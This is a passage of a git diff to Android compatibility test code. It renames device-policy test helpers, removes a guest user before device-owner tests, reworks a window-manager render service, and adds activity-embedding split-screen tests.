-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
import com.android.bedstead.testapp.TestAppProvider;
import org.junit.After;
@@ -185,7 +185,7 @@
}
private Bitmap takeScreenshotExpectingFailure() {
- try (TestAppInstanceReference testApp = sTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install()) {
testApp.activities().any().start();
return Poll.forValue(mUiAutomation::takeScreenshot)
.timeout(Duration.ofSeconds(60))
@@ -195,7 +195,7 @@
}
private Bitmap takeScreenshotExpectingSuccess() {
- try (TestAppInstanceReference testApp = sTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install()) {
testApp.activities().any().start();
return Poll.forValue(mUiAutomation::takeScreenshot)
.toNotBeNull()
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/SupportMessageTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/SupportMessageTest.java
index f3873bb..3610ac4 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/SupportMessageTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/SupportMessageTest.java
@@ -31,7 +31,7 @@
import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
import com.android.bedstead.harrier.policies.SupportMessage;
import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
-import com.android.bedstead.remotedpc.RemoteDpc;
+import com.android.bedstead.remotedpc.RemotePolicyManager;
import org.junit.After;
import org.junit.Before;
@@ -67,8 +67,8 @@
@Before
public void setUp() {
- RemoteDpc dpc = sDeviceState.dpc();
- mAdmin = dpc.devicePolicyController().componentName();
+ RemotePolicyManager dpc = sDeviceState.dpc();
+ mAdmin = dpc.componentName();
mDevicePolicyManager = dpc.devicePolicyManager();
}
@@ -195,7 +195,8 @@
}
@Test
- @CannotSetPolicyTest(policy = SupportMessage.class)
+ // We don't include non device admin states as passing a null admin is a NullPointerException
+ @CannotSetPolicyTest(policy = SupportMessage.class, includeNonDeviceAdminStates = false)
@Postsubmit(reason = "new test")
public void getLongSupportMessage_invalidAdmin_fails() {
assertThrows(SecurityException.class, () ->
@@ -203,7 +204,8 @@
}
@Test
- @CannotSetPolicyTest(policy = SupportMessage.class)
+ // We don't include non device admin states as passing a null admin is a NullPointerException
+ @CannotSetPolicyTest(policy = SupportMessage.class, includeNonDeviceAdminStates = false)
@Postsubmit(reason = "new test")
public void setLongSupportMessage_invalidAdmin_fails() {
assertThrows(SecurityException.class, () ->
@@ -211,7 +213,8 @@
}
@Test
- @CannotSetPolicyTest(policy = SupportMessage.class)
+ // We don't include non device admin states as passing a null admin is a NullPointerException
+ @CannotSetPolicyTest(policy = SupportMessage.class, includeNonDeviceAdminStates = false)
@Postsubmit(reason = "new test")
public void getShortSupportMessage_invalidAdmin_fails() {
assertThrows(SecurityException.class, () ->
@@ -219,7 +222,8 @@
}
@Test
- @CannotSetPolicyTest(policy = SupportMessage.class)
+ // We don't include non device admin states as passing a null admin is a NullPointerException
+ @CannotSetPolicyTest(policy = SupportMessage.class, includeNonDeviceAdminStates = false)
@Postsubmit(reason = "new test")
public void setShortSupportMessage_invalidAdmin_fails() {
assertThrows(SecurityException.class, () ->
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
index 565dc4a..c636a4f 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
@@ -45,7 +45,7 @@
import com.android.bedstead.nene.TestApis;
import com.android.bedstead.nene.packages.Package;
import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
import com.android.bedstead.testapp.TestAppProvider;
import com.android.queryable.queries.StringQuery;
@@ -188,7 +188,7 @@
sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(DPC_COMPONENT_NAME,
Arrays.asList(testAppPackageName));
- try (TestAppInstanceReference instance = sTestApp.install()) {
+ try (TestAppInstance instance = sTestApp.install()) {
instance.activities().any().start();
sActivityManager.forceStopPackage(testAppPackageName);
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index b3b6094..14856b3 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -514,6 +514,22 @@
android:exported="true"
android:taskAffinity=".TaskFragmentB.embeddedTask"
android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
+ <activity android:name="android.server.wm.SplitActivityLifecycleTest$TranslucentActivity"
+ android:exported="true"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
+ android:theme="@android:style/Theme.Translucent.NoTitleBar" />
+
+ <activity android:name="android.server.wm.HostActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.server.wm.app.HostActivity"/>
+ </intent-filter>
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 55b1df4..fbbbbca 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -398,11 +398,11 @@
android:exported="true"/>
<activity android:name=".ShowWhenLockedAttrActivity"
+ android:configChanges="keyboard|keyboardHidden|navigation"
android:showWhenLocked="true"
android:exported="true"/>
<activity android:name=".ShowWhenLockedAttrRemoveAttrActivity"
- android:configChanges="keyboard|keyboardHidden|navigation"
android:showWhenLocked="true"
android:exported="true"/>
@@ -573,14 +573,9 @@
</intent-filter>
</service>
- <activity android:name=".HostActivity"
- android:exported="true">
- <intent-filter>
- <action android:name="android.server.wm.app.HostActivity"/>
- </intent-filter>
- </activity>
<service android:name=".RenderService"
- android:process=".render_process"/>
+ android:process=".render_process"
+ android:exported="true"/>
<activity android:name=".ClickableToastActivity"
android:exported="true"/>
<activity android:name=".MinimalPostProcessingActivity"
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index 1dfb795..79499f7 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -579,6 +579,12 @@
public static class RenderService {
public static final String PROCESS_NAME = ".render_process";
+ public static final String EXTRAS_BUNDLE = "EXTRAS_BUNDLE";
+ public static final String EXTRAS_DISPLAY_ID = "EXTRAS_DISPLAY_ID";
+ public static final String EXTRAS_HOST_TOKEN = "EXTRAS_HOST_TOKEN";
+ public static final String BROADCAST_EMBED_CONTENT =
+ "android.server.wm.app.RenderService.EMBED_CONTENT";
+ public static final String EXTRAS_SURFACE_PACKAGE = "surfacePackage";
}
/**
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/RenderService.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/RenderService.java
index f781d2e..9c611ea 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/RenderService.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/RenderService.java
@@ -16,13 +16,16 @@
package android.server.wm.app;
+import static android.server.wm.app.Components.RenderService.BROADCAST_EMBED_CONTENT;
+import static android.server.wm.app.Components.RenderService.EXTRAS_BUNDLE;
+import static android.server.wm.app.Components.RenderService.EXTRAS_DISPLAY_ID;
+import static android.server.wm.app.Components.RenderService.EXTRAS_HOST_TOKEN;
+import static android.server.wm.app.Components.RenderService.EXTRAS_SURFACE_PACKAGE;
import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_MOTIONEVENT_DELAY_MS;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
-import android.graphics.PixelFormat;
import android.hardware.display.DisplayManager;
import android.os.Bundle;
import android.os.IBinder;
@@ -32,18 +35,13 @@
import android.view.MotionEvent;
import android.view.SurfaceControlViewHost;
import android.view.View;
-import android.view.WindowManager;
import android.widget.Button;
-public class RenderService extends Service {
- static final String EXTRAS_BUNDLE = "INTENT_BUNDLE";
- static final String EXTRAS_DISPLAY_ID = "hostDisplayId";
- static final String EXTRAS_HOST_TOKEN = "hostInputToken";
- static final String BROADCAST_EMBED_CONTENT
- = "android.server.wm.app.RenderService.EMBED_CONTENT";
- static final String EXTRAS_SURFACE_PACKAGE = "surfacePackage";
+import java.util.concurrent.CountDownLatch;
+public class RenderService extends Service {
private int mOnMotionEventDelayMs;
+ CountDownLatch mViewDrawnCallbackLatch = new CountDownLatch(1);
private boolean onTouch(View v, MotionEvent event) {
SystemClock.sleep(mOnMotionEventDelayMs);
@@ -60,7 +58,7 @@
SurfaceControlViewHost surfaceControlViewHost = getSurfaceControlViewHost(hostToken,
hostDisplayId);
- sendSurfacePackage(surfaceControlViewHost.getSurfacePackage());
+ new Thread(()-> sendSurfacePackage(surfaceControlViewHost.getSurfacePackage())).start();
return null;
}
@@ -71,6 +69,8 @@
View embeddedView = new Button(this);
embeddedView.setOnTouchListener(this::onTouch);
+ embeddedView.getViewTreeObserver().registerFrameCommitCallback(
+ mViewDrawnCallbackLatch::countDown);
DisplayMetrics metrics = new DisplayMetrics();
displayContext.getDisplay().getMetrics(metrics);
surfaceControlViewHost.setView(embeddedView, metrics.widthPixels, metrics.heightPixels);
@@ -84,8 +84,12 @@
}
private void sendSurfacePackage(SurfaceControlViewHost.SurfacePackage surfacePackage) {
- Intent broadcast = new Intent();
- broadcast.setAction(BROADCAST_EMBED_CONTENT);
+ try {
+ // wait until we commit a frame from the embedded viewrootimpl
+ mViewDrawnCallbackLatch.await();
+ } catch (InterruptedException ignored) {
+ }
+ Intent broadcast = new Intent(BROADCAST_EMBED_CONTENT);
broadcast.putExtra(EXTRAS_SURFACE_PACKAGE, surfacePackage);
sendBroadcast(broadcast);
}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index d46e922..453c29b 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -49,10 +49,14 @@
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
+import android.Manifest;
+import android.app.UiAutomation;
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageManager;
+import android.content.pm.UserInfo;
import android.os.ResultReceiver;
+import android.os.UserManager;
import android.platform.test.annotations.Presubmit;
import android.platform.test.annotations.SystemUserOnly;
import android.server.wm.backgroundactivity.common.CommonComponents.Event;
@@ -60,6 +64,7 @@
import androidx.annotation.Nullable;
import androidx.test.filters.FlakyTest;
+import androidx.test.platform.app.InstrumentationRegistry;
import com.android.compatibility.common.util.AppOpsUtils;
@@ -480,6 +485,45 @@
assertTaskStack(null, APP_A_BACKGROUND_ACTIVITY);
}
+ /**
+ * Returns a list of alive users on the device
+ */
+ private List<UserInfo> getAliveUsers() {
+ // Setting the CREATE_USERS permission in AndroidManifest.xml has no effect when the test
+ // is run through the CTS harness, so instead adopt it as a shell permission. We use
+ // the CREATE_USERS permission instead of MANAGE_USERS because the shell can never use
+ // MANAGE_USERS.
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ uiAutomation.adoptShellPermissionIdentity(Manifest.permission.CREATE_USERS);
+ List<UserInfo> userList = mContext.getSystemService(UserManager.class)
+ .getUsers(/* excludePartial= */ true,
+ /* excludeDying= */ true,
+ /* excludePreCreated= */ true);
+ uiAutomation.dropShellPermissionIdentity();
+ return userList;
+ }
+
+ /**
+ * Removes the guest user from the device if present
+ */
+ private void removeGuestUser() {
+ List<UserInfo> userList = getAliveUsers();
+ for (UserInfo info : userList) {
+ if (info.isGuest()) {
+ removeUser(info.id);
+ // Device is only allowed to have one alive guest user, so stop if it's found
+ break;
+ }
+ }
+ }
+
+ /**
+ * Removes a user from the device given their ID
+ */
+ private void removeUser(int userId) {
+ executeShellCommand(String.format("pm remove-user %d", userId));
+ }
+
@Test
@SystemUserOnly(reason = "Device owner must be SYSTEM user")
public void testDeviceOwner() throws Exception {
@@ -489,6 +533,15 @@
return;
}
+ // Remove existing guest user. The device may already have a guest present if it is
+ // configured with config_guestUserAutoCreated.
+ //
+ // In production flow the DO can only be created before device provisioning finishes
+ // (e.g. during SUW), and we make sure the guest user in only created after the device
+ // provision is finished. Ideally this test would use the provisioning flow and Device
+ // Owner (DO) creation in a similar manner as that of production flow.
+ removeGuestUser();
+
String cmdResult = runShellCommand("dpm set-device-owner --user 0 "
+ APP_A_SIMPLE_ADMIN_RECEIVER.flattenToString());
assertThat(cmdResult).contains("Success");
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
index b5c1d3f..6ddb7f4 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
@@ -16,35 +16,59 @@
package android.server.wm.jetpack;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.DEFAULT_SPLIT_RATIO;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.getPrimaryStackTopActivity;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.getSecondaryStackTopActivity;
import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.DEFAULT_SPLIT_RATIO;
import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.TAG;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.assertValidSplit;
import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.createWildcardSplitPairRule;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.getSecondActivity;
import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.startActivityAndVerifySplit;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.waitForResumed;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getResumedActivityById;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeNotNull;
import android.app.Activity;
+import android.content.Intent;
import android.util.Log;
+import android.util.Pair;
import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
import android.server.wm.jetpack.utils.TestActivityWithId;
import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
import android.server.wm.jetpack.utils.TestValueCountConsumer;
+import android.util.Pair;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.window.extensions.WindowExtensions;
import androidx.window.extensions.embedding.ActivityEmbeddingComponent;
+import androidx.window.extensions.embedding.ActivityRule;
+import androidx.window.extensions.embedding.EmbeddingRule;
import androidx.window.extensions.embedding.SplitInfo;
import androidx.window.extensions.embedding.SplitPairRule;
+import com.google.common.collect.Sets;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.ArrayList;
+import java.util.Arrays;
import java.util.Collections;
+import java.util.HashSet;
import java.util.List;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.function.Predicate;
/**
* Tests for the {@link androidx.window.extensions} implementation provided on the device (and only
@@ -78,22 +102,45 @@
}
/**
- * Tests launching activities to the side from the primary activity.
+ * Tests splitting activities with the same primary activity.
*/
@Test
- public void testPrimaryActivityLaunchToSide() {
+ public void testSplitWithPrimaryActivity() {
Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
- SplitPairRule splitPairRule = createWildcardSplitPairRule();
+ // Only the primary activity can be in a split with another activity
+ final Predicate<Pair<Activity, Activity>> activityActivityPredicate =
+ activityActivityPair -> primaryActivity.equals(activityActivityPair.first);
+
+ SplitPairRule splitPairRule = new SplitPairRule.Builder(
+ activityActivityPredicate, activityIntentPair -> true /* activityIntentPredicate */,
+ parentWindowMetrics -> true /* parentWindowMetricsPredicate */)
+ .setSplitRatio(DEFAULT_SPLIT_RATIO).build();
mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
- // Launch multiple activities to the side from the primary activity and verify that they
- // all successfully split with the primary activity.
+ // Launch multiple activities from the primary activity and verify that they all
+ // successfully split with the primary activity.
+ List<Activity> secondaryActivities = new ArrayList<>();
final int numActivitiesToLaunch = 4;
- for (int i = 0; i < numActivitiesToLaunch; i++) {
+ for (int activityLaunchIndex = 0; activityLaunchIndex < numActivitiesToLaunch;
+ activityLaunchIndex++) {
Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
TestActivityWithId.class, splitPairRule,
- Integer.toString(i) /* secondActivityId */, mSplitInfoConsumer);
+ Integer.toString(activityLaunchIndex) /* secondActivityId */,
+ mSplitInfoConsumer);
+
+ // Verify the split states match with the current and previous launches
+ secondaryActivities.add(secondaryActivity);
+ final List<SplitInfo> lastReportedSplitInfoList =
+ mSplitInfoConsumer.getLastReportedValue();
+ assertEquals(secondaryActivities.size(), lastReportedSplitInfoList.size());
+ for (int splitInfoIndex = 0; splitInfoIndex < lastReportedSplitInfoList.size();
+ splitInfoIndex++) {
+ final SplitInfo splitInfo = lastReportedSplitInfoList.get(splitInfoIndex);
+ assertEquals(primaryActivity, getPrimaryStackTopActivity(splitInfo));
+ assertEquals(secondaryActivities.get(splitInfoIndex),
+ getSecondaryStackTopActivity(splitInfo));
+ }
}
}
@@ -119,15 +166,9 @@
Activity prevSecondaryActivity;
for (int i = 0; i < numActivitiesToLaunch; i++) {
prevSecondaryActivity = secondaryActivity;
- // Expect the split info consumer to return a value after the 3rd callback because the
- // 1st callback will return empty split states due to clearing the previous secondary
- // container, the 2nd callback will return a non-empty primary container with an empty
- // secondary container because the primary container was just registered, and finally
- // the 3rd callback will contain the secondary activity in the secondary container.
secondaryActivity = startActivityAndVerifySplit(primaryActivity,
TestActivityWithId.class, splitPairRule,
- Integer.toString(i) /* secondActivityId */, mSplitInfoConsumer,
- 3 /* expectedCallbackCount */);
+ Integer.toString(i) /* secondActivityId */, mSplitInfoConsumer);
// The previous secondary activity should be finishing because shouldClearTop was set
// to true, which clears the secondary container before launching the next secondary
// activity.
@@ -141,4 +182,174 @@
assertEquals(1, splitInfo.getPrimaryActivityStack().getActivities().size());
assertEquals(1, splitInfo.getSecondaryActivityStack().getActivities().size());
}
+
+ /**
+ * Tests that launching activities with wildcard split rules results in the newly launched
+ * activity being split with the activity that has the highest z-order, which is the top
+ * activity in the secondary stack.
+ */
+ @Test
+ public void testSplitWithTopmostActivity() {
+ SplitPairRule splitPairRule = createWildcardSplitPairRule();
+ mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+ Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+ Activity nextPrimaryActivity = startActivityAndVerifySplit(primaryActivity,
+ TestActivityWithId.class, splitPairRule,
+ "initialSecondaryActivity" /* secondActivityId */, mSplitInfoConsumer);
+
+ // Store the launched activities in order for later use in checking the split info
+ List<Activity> launchedActivitiesInOrder = new ArrayList<>();
+ launchedActivitiesInOrder.addAll(Arrays.asList(primaryActivity, nextPrimaryActivity));
+
+ // Launch multiple activities to the side from the secondary activity and verify that the
+ // secondary activity becomes the primary activity and that it is split with the activity
+ // that was just launched.
+ final int numActivitiesToLaunch = 4;
+ for (int activityLaunchIndex = 0; activityLaunchIndex < numActivitiesToLaunch;
+ activityLaunchIndex++) {
+ nextPrimaryActivity = startActivityAndVerifySplit(nextPrimaryActivity,
+ TestActivityWithId.class, splitPairRule,
+ Integer.toString(activityLaunchIndex) /* secondActivityId */,
+ mSplitInfoConsumer);
+
+ launchedActivitiesInOrder.add(nextPrimaryActivity);
+
+ // Verify the split states match with the current and previous launches
+ final List<SplitInfo> lastReportedSplitInfoList =
+ mSplitInfoConsumer.getLastReportedValue();
+ // The number of splits is number of launched activities - 1 because the first primary
+ // was the only activity to not launch into a split.
+ assertEquals(launchedActivitiesInOrder.size() - 1,
+ lastReportedSplitInfoList.size());
+ for (int splitInfoIndex = 0; splitInfoIndex < lastReportedSplitInfoList.size();
+ splitInfoIndex++) {
+ final SplitInfo splitInfo = lastReportedSplitInfoList.get(splitInfoIndex);
+ assertEquals(launchedActivitiesInOrder.get(splitInfoIndex),
+ getPrimaryStackTopActivity(splitInfo));
+ assertEquals(launchedActivitiesInOrder.get(splitInfoIndex + 1),
+ getSecondaryStackTopActivity(splitInfo));
+ }
+ }
+ }
+
+ /**
+ * Tests launching an activity that is set to always expand when it is launched over an existing
+ * split from the current primary activity.
+ */
+ @Test
+ public void testAlwaysExpandOverSplit_launchFromPrimary() {
+ // Create activity rule that sets the target activity to always expand
+ final String alwaysExpandedActivityId = "AlwaysExpandedActivityId";
+ Predicate<Activity> activityPredicate = activity ->
+ activity instanceof TestActivityWithId
+ && alwaysExpandedActivityId.equals(((TestActivityWithId) activity).getId());
+ ActivityRule expandActivityRule = new ActivityRule.Builder(activityPredicate,
+ intent -> true /* intentPredicate */).setShouldAlwaysExpand(true).build();
+
+ // Register wildcard split pair rule and always-expanded activity rule
+ SplitPairRule splitPairRule = createWildcardSplitPairRule();
+ mActivityEmbeddingComponent.setEmbeddingRules(Sets.newHashSet(splitPairRule,
+ expandActivityRule));
+
+ // Launch two activities into a split
+ Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+ startActivityAndVerifySplit(primaryActivity, TestActivityWithId.class,
+ splitPairRule, "secondaryActivity" /* secondActivityId */, mSplitInfoConsumer);
+
+ // Launch always expanded activity from the primary activity
+ startActivityFromActivity(primaryActivity, TestActivityWithId.class,
+ alwaysExpandedActivityId);
+
+ // Verify that the always expanded activity is resumed and fills its parent
+ waitForResumed(alwaysExpandedActivityId);
+ Activity alwaysExpandedActivity = getResumedActivityById(alwaysExpandedActivityId);
+ assertEquals(getMaximumActivityBounds(alwaysExpandedActivity),
+ getActivityBounds(alwaysExpandedActivity));
+ }
+
+ /**
+ * Tests launching an activity that is set to always expand when it is launched over an existing
+ * split from the current secondary activity.
+ */
+ @Test
+ public void testAlwaysExpandOverSplit_launchFromSecondary() {
+ // Create activity rule that sets the target activity to always expand
+ final String alwaysExpandedActivityId = "AlwaysExpandedActivityId";
+ Predicate<Activity> activityPredicate = activity ->
+ activity instanceof TestActivityWithId
+ && alwaysExpandedActivityId.equals(((TestActivityWithId) activity).getId());
+ ActivityRule expandActivityRule = new ActivityRule.Builder(activityPredicate,
+ intent -> true /* intentPredicate */).setShouldAlwaysExpand(true).build();
+
+ // Register wildcard split pair rule and always-expanded activity rule
+ SplitPairRule splitPairRule = createWildcardSplitPairRule();
+ mActivityEmbeddingComponent.setEmbeddingRules(Sets.newHashSet(splitPairRule,
+ expandActivityRule));
+
+ // Launch two activities into a split
+ Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+ Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+ TestActivityWithId.class, splitPairRule, "secondaryActivity" /* secondActivityId */,
+ mSplitInfoConsumer);
+
+ // Launch always expanded activity from the secondary activity
+ startActivityFromActivity(secondaryActivity, TestActivityWithId.class,
+ alwaysExpandedActivityId);
+
+ // Verify that the always expanded activity is resumed and fills its parent
+ waitForResumed(alwaysExpandedActivityId);
+ Activity alwaysExpandedActivity = getResumedActivityById(alwaysExpandedActivityId);
+ assertEquals(getMaximumActivityBounds(alwaysExpandedActivity),
+ getActivityBounds(alwaysExpandedActivity));
+ }
+
+ /**
+ * Tests that if an activity is launched from the secondary activity that only the primary
+ * activity can be split with, then the newly launched activity launches above the current
+ * secondary activity in the same container.
+ */
+ @Test
+ public void testSecondaryActivityLaunchAbove() {
+ final Activity primaryActivity = startActivityNewTask(
+ TestConfigChangeHandlingActivity.class);
+
+ // Build a rule that will only allow to split with the primary activity.
+ final Predicate<Pair<Activity, Intent>> activityIntentPredicate =
+ activityIntentPair -> primaryActivity.equals(activityIntentPair.first);
+ // Build the split pair rule
+ final SplitPairRule splitPairRule = new SplitPairRule.Builder(
+ activityPair -> true /* activityPairPredicate */, activityIntentPredicate,
+ parentWindowMetrics -> true /* parentWindowMetricsPredicate */)
+ .setSplitRatio(DEFAULT_SPLIT_RATIO).build();
+ mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+ Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+ TestActivityWithId.class, splitPairRule,
+ "initialSecondaryActivity", mSplitInfoConsumer);
+
+ List<Activity> secondaryActivities = new ArrayList<>();
+ secondaryActivities.add(secondaryActivity);
+
+ // Launch multiple activities from the secondary activity and verify that they all
+ // successfully split with the primary activity.
+ final int numActivitiesToLaunch = 4;
+ for (int i = 0; i < numActivitiesToLaunch; i++) {
+ secondaryActivity = startActivityAndVerifySplit(
+ secondaryActivity /* activityLaunchingFrom */,
+ primaryActivity /* expectedPrimaryActivity */, TestActivityWithId.class,
+ splitPairRule, Integer.toString(i) /* secondActivityId */,
+ 1 /* expectedCallbackCount */, mSplitInfoConsumer);
+
+ // Verify the split states match with the current and previous launches
+ secondaryActivities.add(secondaryActivity);
+ final List<SplitInfo> lastReportedSplitInfoList =
+ mSplitInfoConsumer.getLastReportedValue();
+ assertEquals(1, lastReportedSplitInfoList.size());
+ final SplitInfo splitInfo = lastReportedSplitInfoList.get(0);
+ assertEquals(primaryActivity, getPrimaryStackTopActivity(splitInfo));
+ assertEquals(secondaryActivities, splitInfo.getSecondaryActivityStack()
+ .getActivities());
+ }
+ }
}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
index fbb2a31..fbdfc3a 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
@@ -20,6 +20,7 @@
import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getResumedActivityById;
import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityFromActivity;
import static org.junit.Assert.assertEquals;
@@ -90,16 +91,16 @@
return createWildcardSplitPairRule(false /* shouldClearTop */);
}
- public static Activity startActivityAndVerifySplit(@NonNull Activity primaryActivity,
- @NonNull Class secondActivityClass, @NonNull SplitPairRule splitPairRule,
- @NonNull String secondActivityId,
- @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer,
- int expectedCallbackCount) {
+ public static Activity startActivityAndVerifySplit(@NonNull Activity activityLaunchingFrom,
+ @NonNull Activity expectedPrimaryActivity, @NonNull Class secondActivityClass,
+ @NonNull SplitPairRule splitPairRule, @NonNull String secondActivityId,
+ int expectedCallbackCount,
+ @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer) {
// Set the expected callback count
splitInfoConsumer.setCount(expectedCallbackCount);
// Start second activity
- startActivityFromActivity(primaryActivity, secondActivityClass, secondActivityId);
+ startActivityFromActivity(activityLaunchingFrom, secondActivityClass, secondActivityId);
// Get updated split info
List<SplitInfo> activeSplitStates = null;
@@ -110,11 +111,11 @@
}
// Get second activity from split info
- Activity secondActivity = getSecondActivity(activeSplitStates, primaryActivity,
+ Activity secondActivity = getSecondActivity(activeSplitStates, expectedPrimaryActivity,
secondActivityId);
assertNotNull(secondActivity);
- assertValidSplit(primaryActivity, secondActivity, splitPairRule);
+ assertValidSplit(expectedPrimaryActivity, secondActivity, splitPairRule);
// Return second activity for easy access in calling method
return secondActivity;
@@ -122,15 +123,28 @@
public static Activity startActivityAndVerifySplit(@NonNull Activity primaryActivity,
@NonNull Class secondActivityClass, @NonNull SplitPairRule splitPairRule,
+ @NonNull String secondActivityId, int expectedCallbackCount,
+ @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer) {
+ return startActivityAndVerifySplit(primaryActivity /* activityLaunchingFrom */,
+ primaryActivity, secondActivityClass, splitPairRule, secondActivityId,
+ expectedCallbackCount, splitInfoConsumer);
+ }
+
+ public static Activity startActivityAndVerifySplit(@NonNull Activity primaryActivity,
+ @NonNull Class secondActivityClass, @NonNull SplitPairRule splitPairRule,
@NonNull String secondActivityId,
@NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer) {
